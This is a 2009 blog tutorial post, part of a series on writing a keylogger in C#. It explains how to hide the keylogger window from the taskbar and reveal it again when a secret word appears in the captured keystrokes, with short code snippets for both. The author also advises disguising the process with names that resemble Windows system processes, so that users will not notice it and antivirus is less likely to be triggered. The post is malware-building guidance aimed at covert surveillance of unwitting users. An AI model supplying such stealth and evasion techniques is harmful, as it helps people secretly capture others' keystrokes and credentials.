Axino.net

Keylogger in C# :: Hiding && unhiding

by Arxleol on Thursday 29.10.2009, under C#, hack, tutorial, windows

Let’s discuss this time how to hide and unhide out keylogger. Now I have decided to go with secret keyword. When you enter this keyword keylogger will show up. Also in my case it will start hidden in case secret word is set up, if secret word is not chosen then keylogger will start visible.

        public void unhide()
        {
 
            if (writeUp.Contains(secretWord))
            {
 
                this.ShowInTaskbar = true;
                this.TransparencyKey = Color.Yellow;
 
                this.Refresh();
 
                writeUp = "";
 
            }
 
        }

Previous function checks whether user entered secret word, in case secret word is detected then keylogger will be shown. Check your task bar for new program.

Now actual hiding of keylogger I do in constructors and following code hides keylogger.

     this.ShowInTaskbar = false;
     this.Refresh();

You must understand that this is not hiding actual process of keylogger but hides application so it is not obviously visible to final user.

You could in fact spend time to hide process but these actions sometimes fire events with anti-virus programs and therefore will make your keylogger usable. In this case I suggest that you just use some strange name or something similar to names of original windows processes and most users will not notice any difference.

Similar Posts:

:, , , , , , ,
1 comment for this entry:

Leave a Reply

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Archives